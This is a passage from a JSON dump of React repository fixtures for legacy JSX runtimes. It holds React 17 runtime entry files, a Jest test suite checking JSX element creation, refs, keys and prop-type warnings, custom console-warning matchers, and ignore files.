validateFragmentProps(element);\n    } else {\n      validatePropTypes(element);\n    }\n\n    return element;\n  }\n} // These two functions exist to still get child warnings in dev\n// even with the prod transform. This means that jsxDEV is purely\n// opt-in behavior for better messages but that we won't stop\n// giving you warnings if you use production apis.\n\nfunction jsxWithValidationStatic(type, props, key) {\n  {\n    return jsxWithValidation(type, props, key, true);\n  }\n}\nfunction jsxWithValidationDynamic(type, props, key) {\n  {\n    return jsxWithValidation(type, props, key, false);\n  }\n}\n\nvar jsx =  jsxWithValidationDynamic ; // we may want to special case jsxs internally to take advantage of static children.\n// for now we can ship identical prod functions\n\nvar jsxs =  jsxWithValidationStatic ;\n\nexports.jsx = jsx;\nexports.jsxs = jsxs;\n  })();\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-17/jsx-dev-runtime.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-jsx-dev-runtime.production.min.js');\n} else {\n  module.exports = require('./cjs/react-jsx-dev-runtime.development.js');\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-17/jsx-runtime.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-jsx-runtime.production.min.js');\n} else {\n  module.exports = require('./cjs/react-jsx-runtime.development.js');\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-17/package.json",
    "content": "{\n  \"dependencies\": {\n    \"prop-types\": \"^15.7.2\",\n    \"react\": \"17.0.0-rc.3\",\n    \"react-dom\": \"17.0.0-rc.3\"\n  }\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-17/react-17.test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n// These tests are based on ReactJSXElement-test,\n// ReactJSXElementValidator-test, ReactComponent-test,\n// and ReactElementJSX-test.\n\njest.mock('react/jsx-runtime', () => require('./jsx-runtime'), {virtual: true});\njest.mock('react/jsx-dev-runtime', () => require('./jsx-dev-runtime'), {\n  virtual: true,\n});\n\nlet React = require('react');\nlet ReactDOM = require('react-dom');\nlet ReactTestUtils = {\n  renderIntoDocument(el) {\n    const container = document.createElement('div');\n    return ReactDOM.render(el, container);\n  },\n};\nlet PropTypes = require('prop-types');\nlet Component = class Component extends React.Component {\n  render() {\n    return <div />;\n  }\n};\nlet RequiredPropComponent = class extends React.Component {\n  render() {\n    return <span>{this.props.prop}</span>;\n  }\n};\nRequiredPropComponent.displayName = 'RequiredPropComponent';\nRequiredPropComponent.propTypes = {prop: PropTypes.string.isRequired};\n\nit('works', () => {\n  const container = document.createElement('div');\n  ReactDOM.render(<h1>hello</h1>, container);\n  expect(container.textContent).toBe('hello');\n});\n\nit('returns a complete element according to spec', () => {\n  const element = <Component />;\n  expect(element.type).toBe(Component);\n  expect(element.key).toBe(null);\n  expect(element.ref).toBe(null);\n  const expectation = {};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('allows a lower-case to be passed as the string type', () => {\n  const element = <div />;\n  expect(element.type).toBe('div');\n  expect(element.key).toBe(null);\n  expect(element.ref).toBe(null);\n  const expectation = {};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('allows a string to be passed as the type', () => {\n  const TagName = 'div';\n  const element = <TagName />;\n  expect(element.type).toBe('div');\n  expect(element.key).toBe(null);\n  expect(element.ref).toBe(null);\n  const expectation = {};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('returns an immutable element', () => {\n  const element = <Component />;\n  if (process.env.NODE_ENV === 'development') {\n    expect(() => (element.type = 'div')).toThrow();\n  } else {\n    expect(() => (element.type = 'div')).not.toThrow();\n  }\n});\n\nit('does not reuse the object that is spread into props', () => {\n  const config = {foo: 1};\n  const element = <Component {...config} />;\n  expect(element.props.foo).toBe(1);\n  config.foo = 2;\n  expect(element.props.foo).toBe(1);\n});\n\nit('extracts key and ref from the rest of the props', () => {\n  const element = <Component key=\"12\" ref=\"34\" foo=\"56\" />;\n  expect(element.type).toBe(Component);\n  expect(element.key).toBe('12');\n  expect(element.ref).toBe('34');\n  const expectation = {foo: '56'};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('coerces the key to a string', () => {\n  const element = <Component key={12} foo=\"56\" />;\n  expect(element.type).toBe(Component);\n  expect(element.key).toBe('12');\n  expect(element.ref).toBe(null);\n  const expectation = {foo: '56'};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('merges JSX children onto the children prop', () => {\n  const a = 1;\n  const element = <Component children=\"text\">{a}</Component>;\n  expect(element.props.children).toBe(a);\n});\n\nit('does not override children if no JSX children are provided', () => {\n  const element = <Component children=\"text\" />;\n  expect(element.props.children).toBe('text');\n});\n\nit('overrides children if null is provided as a JSX child', () => {\n  const element = <Component children=\"text\">{null}</Component>;\n  expect(element.props.children).toBe(null);\n});\n\nit('overrides children if undefined is provided as an argument', () => {\n  const element = <Component children=\"text\">{undefined}</Component>;\n  expect(element.props.children).toBe(undefined);\n\n  const element2 = React.cloneElement(\n    <Component children=\"text\" />,\n    {},\n    undefined\n  );\n  expect(element2.props.children).toBe(undefined);\n});\n\nit('merges JSX children onto the children prop in an array', () => {\n  const a = 1;\n  const b = 2;\n  const c = 3;\n  const element = (\n    <Component>\n      {a}\n      {b}\n      {c}\n    </Component>\n  );\n  expect(element.props.children).toEqual([1, 2, 3]);\n});\n\nit('allows static methods to be called using the type property', () => {\n  class StaticMethodComponent {\n    static someStaticMethod() {\n      return 'someReturnValue';\n    }\n    render() {\n      return <div />;\n    }\n  }\n\n  const element = <StaticMethodComponent />;\n  expect(element.type.someStaticMethod()).toBe('someReturnValue');\n});\n\nit('identifies valid elements', () => {\n  expect(React.isValidElement(<div />)).toEqual(true);\n  expect(React.isValidElement(<Component />)).toEqual(true);\n\n  expect(React.isValidElement(null)).toEqual(false);\n  expect(React.isValidElement(true)).toEqual(false);\n  expect(React.isValidElement({})).toEqual(false);\n  expect(React.isValidElement('string')).toEqual(false);\n  expect(React.isValidElement(Component)).toEqual(false);\n  expect(React.isValidElement({type: 'div', props: {}})).toEqual(false);\n});\n\nit('is indistinguishable from a plain object', () => {\n  const element = <div className=\"foo\" />;\n  const object = {};\n  expect(element.constructor).toBe(object.constructor);\n});\n\nit('should use default prop value when removing a prop', () => {\n  Component.defaultProps = {fruit: 'persimmon'};\n\n  const container = document.createElement('div');\n  const instance = ReactDOM.render(<Component fruit=\"mango\" />, container);\n  expect(instance.props.fruit).toBe('mango');\n\n  ReactDOM.render(<Component />, container);\n  expect(instance.props.fruit).toBe('persimmon');\n});\n\nit('should normalize props with default values', () => {\n  class NormalizingComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  NormalizingComponent.defaultProps = {prop: 'testKey'};\n\n  const container = document.createElement('div');\n  const instance = ReactDOM.render(<NormalizingComponent />, container);\n  expect(instance.props.prop).toBe('testKey');\n\n  const inst2 = ReactDOM.render(\n    <NormalizingComponent prop={null} />,\n    container\n  );\n  expect(inst2.props.prop).toBe(null);\n});\n\nit('warns for keys for arrays of elements in children position', () => {\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(\n      <Component>{[<Component />, <Component />]}</Component>\n    )\n  ).toErrorDev('Each child in a list should have a unique \"key\" prop.');\n});\n\nit('warns for keys for arrays of elements with owner info', () => {\n  class InnerComponent extends React.Component {\n    render() {\n      return <Component>{this.props.childSet}</Component>;\n    }\n  }\n\n  class ComponentWrapper extends React.Component {\n    render() {\n      return <InnerComponent childSet={[<Component />, <Component />]} />;\n    }\n  }\n\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<ComponentWrapper />)\n  ).toErrorDev(\n    'Each child in a list should have a unique \"key\" prop.' +\n      '\\n\\nCheck the render method of `InnerComponent`. ' +\n      'It was passed a child from ComponentWrapper. '\n  );\n});\n\nit('does not warn for arrays of elements with keys', () => {\n  ReactTestUtils.renderIntoDocument(\n    <Component>{[<Component key=\"#1\" />, <Component key=\"#2\" />]}</Component>\n  );\n});\n\nit('does not warn for iterable elements with keys', () => {\n  const iterable = {\n    '@@iterator': function () {\n      let i = 0;\n      return {\n        next: function () {\n          const done = ++i > 2;\n          return {\n            value: done ? undefined : <Component key={'#' + i} />,\n            done: done,\n          };\n        },\n      };\n    },\n  };\n\n  ReactTestUtils.renderIntoDocument(<Component>{iterable}</Component>);\n});\n\nit('does not warn for numeric keys in entry iterable as a child', () => {\n  const iterable = {\n    '@@iterator': function () {\n      let i = 0;\n      return {\n        next: function () {\n          const done = ++i > 2;\n          return {value: done ? undefined : [i, <Component />], done: done};\n        },\n      };\n    },\n  };\n  iterable.entries = iterable['@@iterator'];\n\n  ReactTestUtils.renderIntoDocument(<Component>{iterable}</Component>);\n});\n\nit('does not warn when the element is directly as children', () => {\n  ReactTestUtils.renderIntoDocument(\n    <Component>\n      <Component />\n      <Component />\n    </Component>\n  );\n});\n\nit('does not warn when the child array contains non-elements', () => {\n  void (<Component>{[{}, {}]}</Component>);\n});\n\nit('should give context for PropType errors in nested components.', () => {\n  // In this test, we're making sure that if a proptype error is found in a\n  // component, we give a small hint as to which parent instantiated that\n  // component as per warnings about key usage in ReactElementValidator.\n  function MyComp({color}) {\n    return <div>My color is {color}</div>;\n  }\n  MyComp.propTypes = {\n    color: PropTypes.string,\n  };\n  class ParentComp extends React.Component {\n    render() {\n      return <MyComp color={123} />;\n    }\n  }\n  expect(() => ReactTestUtils.renderIntoDocument(<ParentComp />)).toErrorDev(\n    'Warning: Failed prop type: ' +\n      'Invalid prop `color` of type `number` supplied to `MyComp`, ' +\n      'expected `string`.\\n' +\n      '    in color (at **)\\n' +\n      '    in ParentComp (at **)'\n  );\n});\n\nit('gives a helpful error when passing null, undefined, or boolean', () => {\n  const Undefined = undefined;\n  const Null = null;\n  const True = true;\n  const Div = 'div';\n  expect(() => void (<Undefined />)).toErrorDev(\n    'Warning: React.jsx: type is invalid -- expected a string ' +\n      '(for built-in components) or a class/function (for composite ' +\n      'components) but got: undefined. You likely forgot to export your ' +\n      \"component from the file it's defined in, or you might have mixed up \" +\n      'default and named imports.' +\n      (process.env.BABEL_ENV === 'development'\n        ? '\\n\\nCheck your code at **.'\n        : ''),\n    {withoutStack: true}\n  );\n  expect(() => void (<Null />)).toErrorDev(\n    'Warning: React.jsx: type is invalid -- expected a string ' +\n      '(for built-in components) or a class/function (for composite ' +\n      'components) but got: null.' +\n      (process.env.BABEL_ENV === 'development'\n        ? '\\n\\nCheck your code at **.'\n        : ''),\n    {withoutStack: true}\n  );\n  expect(() => void (<True />)).toErrorDev(\n    'Warning: React.jsx: type is invalid -- expected a string ' +\n      '(for built-in components) or a class/function (for composite ' +\n      'components) but got: boolean.' +\n      (process.env.BABEL_ENV === 'development'\n        ? '\\n\\nCheck your code at **.'\n        : ''),\n    {withoutStack: true}\n  );\n  // No error expected\n  void (<Div />);\n});\n\nit('should check default prop values', () => {\n  RequiredPropComponent.defaultProps = {prop: null};\n\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<RequiredPropComponent />)\n  ).toErrorDev(\n    'Warning: Failed prop type: The prop `prop` is marked as required in ' +\n      '`RequiredPropComponent`, but its value is `null`.\\n' +\n      '    in RequiredPropComponent (at **)'\n  );\n});\n\nit('should warn on invalid prop types', () => {\n  // Since there is no prevalidation step for ES6 classes, there is no hook\n  // for us to issue a warning earlier than element creation when the error\n  // actually occurs. Since this step is skipped in production, we should just\n  // warn instead of throwing for this case.\n  class NullPropTypeComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  NullPropTypeComponent.propTypes = {\n    prop: null,\n  };\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<NullPropTypeComponent />)\n  ).toErrorDev(\n    'NullPropTypeComponent: prop type `prop` is invalid; it must be a ' +\n      'function, usually from the `prop-types` package,'\n  );\n});\n\nit('should warn on invalid context types', () => {\n  class NullContextTypeComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  NullContextTypeComponent.contextTypes = {\n    prop: null,\n  };\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<NullContextTypeComponent />)\n  ).toErrorDev(\n    'NullContextTypeComponent: context type `prop` is invalid; it must ' +\n      'be a function, usually from the `prop-types` package,'\n  );\n});\n\nit('should warn if getDefaultProps is specified on the class', () => {\n  class GetDefaultPropsComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  GetDefaultPropsComponent.getDefaultProps = () => ({\n    prop: 'foo',\n  });\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<GetDefaultPropsComponent />)\n  ).toErrorDev(\n    'getDefaultProps is only used on classic React.createClass definitions.' +\n      ' Use a static property named `defaultProps` instead.',\n    {withoutStack: true}\n  );\n});\n\nit('should warn if component declares PropTypes instead of propTypes', () => {\n  class MisspelledPropTypesComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  MisspelledPropTypesComponent.PropTypes = {\n    prop: PropTypes.string,\n  };\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(\n      <MisspelledPropTypesComponent prop=\"hi\" />\n    )\n  ).toErrorDev(\n    'Warning: Component MisspelledPropTypesComponent declared `PropTypes` ' +\n      'instead of `propTypes`. Did you misspell the property assignment?',\n    {withoutStack: true}\n  );\n});\n\nit('warns for fragments with illegal attributes', () => {\n  class Foo extends React.Component {\n    render() {\n      return <React.Fragment a={1}>hello</React.Fragment>;\n    }\n  }\n\n  expect(() => ReactTestUtils.renderIntoDocument(<Foo />)).toErrorDev(\n    'Invalid prop `a` supplied to `React.Fragment`. React.Fragment ' +\n      'can only have `key` and `children` props.'\n  );\n});\n\nit('warns for fragments with refs', () => {\n  class Foo extends React.Component {\n    render() {\n      return (\n        <React.Fragment\n          ref={bar => {\n            this.foo = bar;\n          }}>\n          hello\n        </React.Fragment>\n      );\n    }\n  }\n\n  expect(() => ReactTestUtils.renderIntoDocument(<Foo />)).toErrorDev(\n    'Invalid attribute `ref` supplied to `React.Fragment`.'\n  );\n});\n\nit('does not warn for fragments of multiple elements without keys', () => {\n  ReactTestUtils.renderIntoDocument(\n    <>\n      <span>1</span>\n      <span>2</span>\n    </>\n  );\n});\n\nit('warns for fragments of multiple elements with same key', () => {\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(\n      <>\n        <span key=\"a\">1</span>\n        <span key=\"a\">2</span>\n        <span key=\"b\">3</span>\n      </>\n    )\n  ).toErrorDev('Encountered two children with the same key, `a`.', {\n    withoutStack: true,\n  });\n});\n\nit('does not call lazy initializers eagerly', () => {\n  let didCall = false;\n  const Lazy = React.lazy(() => {\n    didCall = true;\n    return {then() {}};\n  });\n  <Lazy />;\n  expect(didCall).toBe(false);\n});\n\nit('supports classic refs', () => {\n  class Foo extends React.Component {\n    render() {\n      return <div className=\"foo\" ref=\"inner\" />;\n    }\n  }\n  const container = document.createElement('div');\n  const instance = ReactDOM.render(<Foo />, container);\n  expect(instance.refs.inner.className).toBe('foo');\n});\n\nit('should support refs on owned components', () => {\n  const innerObj = {};\n  const outerObj = {};\n\n  class Wrapper extends React.Component {\n    getObject = () => {\n      return this.props.object;\n    };\n\n    render() {\n      return <div>{this.props.children}</div>;\n    }\n  }\n\n  class Component extends React.Component {\n    render() {\n      const inner = <Wrapper object={innerObj} ref=\"inner\" />;\n      const outer = (\n        <Wrapper object={outerObj} ref=\"outer\">\n          {inner}\n        </Wrapper>\n      );\n      return outer;\n    }\n\n    componentDidMount() {\n      expect(this.refs.inner.getObject()).toEqual(innerObj);\n      expect(this.refs.outer.getObject()).toEqual(outerObj);\n    }\n  }\n\n  ReactTestUtils.renderIntoDocument(<Component />);\n});\n\nit('should support callback-style refs', () => {\n  const innerObj = {};\n  const outerObj = {};\n\n  class Wrapper extends React.Component {\n    getObject = () => {\n      return this.props.object;\n    };\n\n    render() {\n      return <div>{this.props.children}</div>;\n    }\n  }\n\n  let mounted = false;\n\n  class Component extends React.Component {\n    render() {\n      const inner = (\n        <Wrapper object={innerObj} ref={c => (this.innerRef = c)} />\n      );\n      const outer = (\n        <Wrapper object={outerObj} ref={c => (this.outerRef = c)}>\n          {inner}\n        </Wrapper>\n      );\n      return outer;\n    }\n\n    componentDidMount() {\n      expect(this.innerRef.getObject()).toEqual(innerObj);\n      expect(this.outerRef.getObject()).toEqual(outerObj);\n      mounted = true;\n    }\n  }\n\n  ReactTestUtils.renderIntoDocument(<Component />);\n  expect(mounted).toBe(true);\n});\n\nit('should support object-style refs', () => {\n  const innerObj = {};\n  const outerObj = {};\n\n  class Wrapper extends React.Component {\n    getObject = () => {\n      return this.props.object;\n    };\n\n    render() {\n      return <div>{this.props.children}</div>;\n    }\n  }\n\n  let mounted = false;\n\n  class Component extends React.Component {\n    constructor() {\n      super();\n      this.innerRef = React.createRef();\n      this.outerRef = React.createRef();\n    }\n    render() {\n      const inner = <Wrapper object={innerObj} ref={this.innerRef} />;\n      const outer = (\n        <Wrapper object={outerObj} ref={this.outerRef}>\n          {inner}\n        </Wrapper>\n      );\n      return outer;\n    }\n\n    componentDidMount() {\n      expect(this.innerRef.current.getObject()).toEqual(innerObj);\n      expect(this.outerRef.current.getObject()).toEqual(outerObj);\n      mounted = true;\n    }\n  }\n\n  ReactTestUtils.renderIntoDocument(<Component />);\n  expect(mounted).toBe(true);\n});\n\nit('should support new-style refs with mixed-up owners', () => {\n  class Wrapper extends React.Component {\n    getTitle = () => {\n      return this.props.title;\n    };\n\n    render() {\n      return this.props.getContent();\n    }\n  }\n\n  let mounted = false;\n\n  class Component extends React.Component {\n    getInner = () => {\n      // (With old-style refs, it's impossible to get a ref to this div\n      // because Wrapper is the current owner when this function is called.)\n      return <div className=\"inner\" ref={c => (this.innerRef = c)} />;\n    };\n\n    render() {\n      return (\n        <Wrapper\n          title=\"wrapper\"\n          ref={c => (this.wrapperRef = c)}\n          getContent={this.getInner}\n        />\n      );\n    }\n\n    componentDidMount() {\n      // Check .props.title to make sure we got the right elements back\n      expect(this.wrapperRef.getTitle()).toBe('wrapper');\n      expect(this.innerRef.className).toBe('inner');\n      mounted = true;\n    }\n  }\n\n  ReactTestUtils.renderIntoDocument(<Component />);\n  expect(mounted).toBe(true);\n});\n\nit('should warn when `key` is being accessed on composite element', () => {\n  const container = document.createElement('div');\n  class Child extends React.Component {\n    render() {\n      return <div> {this.props.key} </div>;\n    }\n  }\n  class Parent extends React.Component {\n    render() {\n      return (\n        <div>\n          <Child key=\"0\" />\n          <Child key=\"1\" />\n          <Child key=\"2\" />\n        </div>\n      );\n    }\n  }\n  expect(() => ReactDOM.render(<Parent />, container)).toErrorDev(\n    'Child: `key` is not a prop. Trying to access it will result ' +\n      'in `undefined` being returned. If you need to access the same ' +\n      'value within the child component, you should pass it as a different ' +\n      'prop. (https://reactjs.org/link/special-props)'\n  );\n});\n\nit('should warn when `ref` is being accessed', () => {\n  const container = document.createElement('div');\n  class Child extends React.Component {\n    render() {\n      return <div> {this.props.ref} </div>;\n    }\n  }\n  class Parent extends React.Component {\n    render() {\n      return (\n        <div>\n          <Child ref=\"childElement\" />\n        </div>\n      );\n    }\n  }\n  expect(() => ReactDOM.render(<Parent />, container)).toErrorDev(\n    'Child: `ref` is not a prop. Trying to access it will result ' +\n      'in `undefined` being returned. If you need to access the same ' +\n      'value within the child component, you should pass it as a different ' +\n      'prop. (https://reactjs.org/link/special-props)'\n  );\n});\n\nit('should warn when owner and self are different for string refs', () => {\n  class ClassWithRenderProp extends React.Component {\n    render() {\n      return this.props.children();\n    }\n  }\n\n  class ClassParent extends React.Component {\n    render() {\n      return (\n        <ClassWithRenderProp>{() => <div ref=\"myRef\" />}</ClassWithRenderProp>\n      );\n    }\n  }\n\n  const container = document.createElement('div');\n  if (process.env.BABEL_ENV === 'development') {\n    expect(() => ReactDOM.render(<ClassParent />, container)).toErrorDev([\n      'Warning: Component \"ClassWithRenderProp\" contains the string ref \"myRef\". ' +\n        'Support for string refs will be removed in a future major release. ' +\n        'This case cannot be automatically converted to an arrow function. ' +\n        'We ask you to manually fix this case by using useRef() or createRef() instead. ' +\n        'Learn more about using refs safely here: ' +\n        'https://reactjs.org/link/strict-mode-string-ref',\n    ]);\n  } else {\n    ReactDOM.render(<ClassParent />, container);\n  }\n});\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/setupTests.js",
    "content": "'use strict';\n\n// This is mostly copypasta from toWarnDev.js matchers\n// that we use in the main repo Jest configuration.\n\nconst expect = global.expect;\n\nconst {diff: jestDiff} = require('jest-diff');\nconst util = require('util');\n\nfunction shouldIgnoreConsoleError(format, args) {\n  if (process.env.NODE_ENV !== 'production') {\n    if (typeof format === 'string') {\n      if (format.indexOf('Error: Uncaught [') === 0) {\n        // This looks like an uncaught error from invokeGuardedCallback() wrapper\n        // in development that is reported by jsdom. Ignore because it's noisy.\n        return true;\n      }\n      if (format.indexOf('The above error occurred') === 0) {\n        // This looks like an error addendum from ReactFiberErrorLogger.\n        // Ignore it too.\n        return true;\n      }\n    }\n  } else {\n    if (\n      format != null &&\n      typeof format.message === 'string' &&\n      typeof format.stack === 'string' &&\n      args.length === 0\n    ) {\n      // In production, ReactFiberErrorLogger logs error objects directly.\n      // They are noisy too so we'll try to ignore them.\n      return true;\n    }\n  }\n  // Looks legit\n  return false;\n}\n\nfunction normalizeCodeLocInfo(str) {\n  if (typeof str !== 'string') {\n    return str;\n  }\n  // This special case exists only for the special source location in\n  // ReactElementValidator. That will go away if we remove source locations.\n  str = str.replace(/Check your code at .+?:\\d+/g, 'Check your code at **');\n  // V8 format:\n  //  at Component (/path/filename.js:123:45)\n  // React format:\n  //    in Component (at filename.js:123)\n  return str.replace(/\\n +(?:at|in) ([\\S]+)[^\\n]*/g, function (m, name) {\n    return '\\n    in ' + name + ' (at **)';\n  });\n}\n\nconst createMatcherFor = (consoleMethod, matcherName) =>\n  function matcher(callback, expectedMessages, options = {}) {\n    if (process.env.NODE_ENV !== 'production') {\n      // Warn about incorrect usage of matcher.\n      if (typeof expectedMessages === 'string') {\n        expectedMessages = [expectedMessages];\n      } else if (!Array.isArray(expectedMessages)) {\n        throw Error(\n          `${matcherName}() requires a parameter of type string or an array of strings ` +\n            `but was given ${typeof expectedMessages}.`\n        );\n      }\n      if (\n        options != null &&\n        (typeof options !== 'object' || Array.isArray(options))\n      ) {\n        throw new Error(\n          `${matcherName}() second argument, when present, should be an object. ` +\n            'Did you forget to wrap the messages into an array?'\n        );\n      }\n      if (arguments.length > 3) {\n        // `matcher` comes from Jest, so it's more than 2 in practice\n        throw new Error(\n          `${matcherName}() received more than two arguments. ` +\n            'Did you forget to wrap the messages into an array?'\n        );\n      }\n\n      const withoutStack = options.withoutStack;\n      const logAllErrors = options.logAllErrors;\n      const warningsWithoutComponentStack = [];\n      const warningsWithComponentStack = [];\n      const unexpectedWarnings = [];\n\n      let lastWarningWithMismatchingFormat = null;\n      let lastWarningWithExtraComponentStack = null;\n\n      // Catch errors thrown by the callback,\n      // But only rethrow them if all test expectations have been satisfied.\n      // Otherwise an Error in the callback can mask a failed expectation,\n      // and result in a test that passes when it shouldn't.\n      let caughtError;\n\n      const isLikelyAComponentStack = message =>\n        typeof message === 'string' &&\n        (message.includes('\\n    in ') || message.includes('\\n    at '));\n\n      const consoleSpy = (format, ...args) => {\n        // Ignore uncaught errors reported by jsdom\n        // and React addendums because they're too noisy.\n        if (\n          !logAllErrors &&\n          consoleMethod === 'error' &&\n          shouldIgnoreConsoleError(format, args)\n        ) {\n          return;\n        }\n\n        const message = util.format(format, ...args);\n        const normalizedMessage = normalizeCodeLocInfo(message);\n\n        // Remember if the number of %s interpolations\n        // doesn't match the number of arguments.\n        // We'll fail the test if it happens.\n        let argIndex = 0;\n        format.replace(/%s/g, () => argIndex++);\n        if (argIndex !== args.length) {\n          lastWarningWithMismatchingFormat = {\n            format,\n            args,\n            expectedArgCount: argIndex,\n          };\n        }\n\n        // Protect against accidentally passing a component stack\n        // to warning() which already injects the component stack.\n        if (\n          args.length >= 2 &&\n          isLikelyAComponentStack(args[args.length - 1]) &&\n          isLikelyAComponentStack(args[args.length - 2])\n        ) {\n          lastWarningWithExtraComponentStack = {\n            format,\n          };\n        }\n\n        for (let index = 0; index < expectedMessages.length; index++) {\n          const expectedMessage = expectedMessages[index];\n          if (\n            normalizedMessage === expectedMessage ||\n            normalizedMessage.includes(expectedMessage)\n          ) {\n            if (isLikelyAComponentStack(normalizedMessage)) {\n              warningsWithComponentStack.push(normalizedMessage);\n            } else {\n              warningsWithoutComponentStack.push(normalizedMessage);\n            }\n            expectedMessages.splice(index, 1);\n            return;\n          }\n        }\n\n        let errorMessage;\n        if (expectedMessages.length === 0) {\n          errorMessage =\n            'Unexpected warning recorded: ' +\n            this.utils.printReceived(normalizedMessage);\n        } else if (expectedMessages.length === 1) {\n          errorMessage =\n            'Unexpected warning recorded: ' +\n            jestDiff(expectedMessages[0], normalizedMessage);\n        } else {\n          errorMessage =\n            'Unexpected warning recorded: ' +\n            jestDiff(expectedMessages, [normalizedMessage]);\n        }\n\n        // Record the call stack for unexpected warnings.\n        // We don't throw an Error here though,\n        // Because it might be suppressed by ReactFiberScheduler.\n        unexpectedWarnings.push(new Error(errorMessage));\n      };\n\n      // TODO Decide whether we need to support nested toWarn* expectations.\n      // If we don't need it, add a check here to see if this is already our spy,\n      // And throw an error.\n      const originalMethod = console[consoleMethod];\n\n      // Avoid using Jest's built-in spy since it can't be removed.\n      console[consoleMethod] = consoleSpy;\n\n      try {\n        callback();\n      } catch (error) {\n        caughtError = error;\n      } finally {\n        // Restore the unspied method so that unexpected errors fail tests.\n        console[consoleMethod] = originalMethod;\n\n        // Any unexpected Errors thrown by the callback should fail the test.\n        // This should take precedence since unexpected errors could block warnings.\n        if (caughtError) {\n          throw caughtError;\n        }\n\n        // Any unexpected warnings should be treated as a failure.\n        if (unexpectedWarnings.length > 0) {\n          return {\n            message: () => unexpectedWarnings[0].stack,\n            pass: false,\n          };\n        }\n\n        // Any remaining messages indicate a failed expectations.\n        if (expectedMessages.length > 0) {\n          return {\n            message: () =>\n              `Expected warning was not recorded:\\n  ${this.utils.printReceived(\n                expectedMessages[0]\n              )}`,\n            pass: false,\n          };\n        }\n\n        if (typeof withoutStack === 'number') {\n          // We're expecting a particular number of warnings without stacks.\n          if (withoutStack !== warningsWithoutComponentStack.length) {\n            return {\n              message: () =>\n                `Expected ${withoutStack} warnings without a component stack but received ${warningsWithoutComponentStack.length}:\\n` +\n                warningsWithoutComponentStack.map(warning =>\n                  this.utils.printReceived(warning)\n                ),\n              pass: false,\n            };\n          }\n        } else if (withoutStack === true) {\n          // We're expecting that all warnings won't have the stack.\n          // If some warnings have it, it's an error.\n          if (warningsWithComponentStack.length > 0) {\n            return {\n              message: () =>\n                `Received warning unexpectedly includes a component stack:\\n  ${this.utils.printReceived(\n                  warningsWithComponentStack[0]\n                )}\\nIf this warning intentionally includes the component stack, remove ` +\n                `{withoutStack: true} from the ${matcherName}() call. If you have a mix of ` +\n                `warnings with and without stack in one ${matcherName}() call, pass ` +\n                `{withoutStack: N} where N is the number of warnings without stacks.`,\n              pass: false,\n            };\n          }\n        } else if (withoutStack === false || withoutStack === undefined) {\n          // We're expecting that all warnings *do* have the stack (default).\n          // If some warnings don't have it, it's an error.\n          if (warningsWithoutComponentStack.length > 0) {\n            return {\n              message: () =>\n                `Received warning unexpectedly does not include a component stack:\\n  ${this.utils.printReceived(\n                  warningsWithoutComponentStack[0]\n                )}\\nIf this warning intentionally omits the component stack, add ` +\n                `{withoutStack: true} to the ${matcherName} call.`,\n              pass: false,\n            };\n          }\n        } else {\n          throw Error(\n            `The second argument for ${matcherName}(), when specified, must be an object. It may have a ` +\n              `property called \"withoutStack\" whose value may be undefined, boolean, or a number. ` +\n              `Instead received ${typeof withoutStack}.`\n          );\n        }\n\n        if (lastWarningWithMismatchingFormat !== null) {\n          return {\n            message: () =>\n              `Received ${\n                lastWarningWithMismatchingFormat.args.length\n              } arguments for a message with ${\n                lastWarningWithMismatchingFormat.expectedArgCount\n              } placeholders:\\n  ${this.utils.printReceived(\n                lastWarningWithMismatchingFormat.format\n              )}`,\n            pass: false,\n          };\n        }\n\n        if (lastWarningWithExtraComponentStack !== null) {\n          return {\n            message: () =>\n              `Received more than one component stack for a warning:\\n  ${this.utils.printReceived(\n                lastWarningWithExtraComponentStack.format\n              )}\\nDid you accidentally pass a stack to warning() as the last argument? ` +\n              `Don't forget warning() already injects the component stack automatically.`,\n            pass: false,\n          };\n        }\n\n        return {pass: true};\n      }\n    } else {\n      // Any uncaught errors or warnings should fail tests in production mode.\n      callback();\n\n      return {pass: true};\n    }\n  };\n\nexpect.extend({\n  toWarnDev: createMatcherFor('warn', 'toWarnDev'),\n  toErrorDev: createMatcherFor('error', 'toErrorDev'),\n});\n"
  },
  {
    "path": "fixtures/nesting/.eslintignore",
    "content": "src/*/node_modules\n"
  },
  {
    "path": "fixtures/nesting/.gitignore",
    "content": "# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n/.pnp\n.pnp.js\n\n# testing\n/coverage\n\n# production\n/build\n\n# misc\n.DS_Store\n.env.local\n.env.development.local\n.env.test.local\n.env.production.local\n\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n\n# copies of shared\nsrc/*/shared\nsrc/*/node_modules\n"
  },
  {
    "path": "fixtures/nesting/README.md",
